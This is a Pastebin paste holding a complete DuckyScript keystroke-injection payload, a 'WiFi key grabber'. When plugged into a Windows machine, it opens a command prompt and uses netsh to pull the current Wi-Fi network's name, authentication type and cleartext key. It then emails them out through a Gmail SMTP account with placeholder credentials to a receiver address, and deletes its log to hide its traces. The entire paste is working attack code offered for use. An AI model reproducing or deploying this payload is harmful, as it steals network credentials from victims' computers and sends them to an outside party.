Advertisement
Guest User

Untitled

a guest
May 31st, 2018
1,536
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.38 KB | None | 0 0
  1. DELAY 3000
  2. REM --> Minimize all windows
  3. WINDOWS d
  4. DELAY 250
  5. REM --> Open cmd
  6. WINDOWS r
  7. DELAY 500
  8. STRING cmd
  9. ENTER
  10. DELAY 200
  11.  
  12. REM FASE 2: Information gathering
  13. REM --> Find the SSID and set 'a'
  14. STRING cd "%USERPROFILE%\Desktop" & for /f "tokens=2 delims=:" %a in ('netsh wlan show interface ^| findstr "SSID" ^| findstr /v "BSSID"') do set a=%a
  15. ENTER
  16. STRING set a="%a:~1%"
  17. ENTER
  18. REM --> Get raw info and set 'a'
  19. STRING netsh wlan show profiles %a% key=clear | findstr /c:"Network type" /c:" Authentication" /c:"Key Content"| findstr /v "broadcast"| findstr /v "Radio">>a
  20. ENTER
  21. REM --> Find the Network type in the raw info and set 'b'
  22. STRING for /f "tokens=3 delims=: " %a in ('findstr "Network type" a') do set b=%a
  23. ENTER
  24. REM --> Find the auth type in the raw info and set 'c'
  25. STRING for /f "tokens=2 delims=: " %a in ('findstr " Authentication" a') do set c=%a
  26. ENTER
  27. REM --> Find the key content in the raw info and set 'd'
  28. STRING for /f "tokens=3 delims=: " %a in ('findstr "Key Content" a') do set d=%a
  29. ENTER
  30. REM --> Delete raw info / 'a'
  31. STRING del a
  32. ENTER
  33. REM --> Write all info to log
  34. STRING echo ssid: %a%>>log & echo type: %b%>>log & echo auth: %c%>>log & echo key: %d%>>log
  35. ENTER
  36. STRING echo If all variables are empty there was no wireless connection>>log
  37. ENTER
  38. STRING echo If only the key variable is empty the payload requires UAC, or the authentication type isn't supported>>log
  39. ENTER
  40.  
  41. REM FASE 3: Phone home
  42. REM --> Create an SMTP server with specified credentials and send log to specified receiver
  43. STRING powershell
  44. ENTER
  45. STRING $SMTPServer = 'smtp.gmail.com'
  46. ENTER
  47. STRING $SMTPInfo = New-Object Net.Mail.SmtpClient($SmtpServer, 587)
  48. ENTER
  49. STRING $SMTPInfo.EnableSsl = $true
  50. ENTER
  51. REM --> Google account login, password must start with a lowercase letter
  52. STRING $SMTPInfo.Credentials = New-Object System.Net.NetworkCredential('ACCOUNT@gmail.com', 'PASSWORD')
  53. ENTER
  54. STRING $ReportEmail = New-Object System.Net.Mail.MailMessage
  55. ENTER
  56. STRING $ReportEmail.From = 'ACCOUNT@gmail.com'
  57. ENTER
  58. REM --> Log receiver
  59. STRING $ReportEmail.To.Add('RECEIVER@gmail.com')
  60. ENTER
  61. STRING $ReportEmail.Subject = 'WiFi key grabber'
  62. ENTER
  63. STRING $ReportEmail.Body = (Get-Content log | out-string)
  64. ENTER
  65. STRING $SMTPInfo.Send($ReportEmail)
  66. ENTER
  67. DELAY 1000
  68. STRING exit
  69. ENTER
  70. DELAY 500
  71.  
  72. REM FASE 4: Final cleanup
  73. REM --> Delete log and exit
  74. STRING del log & exit
  75. ENTER
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement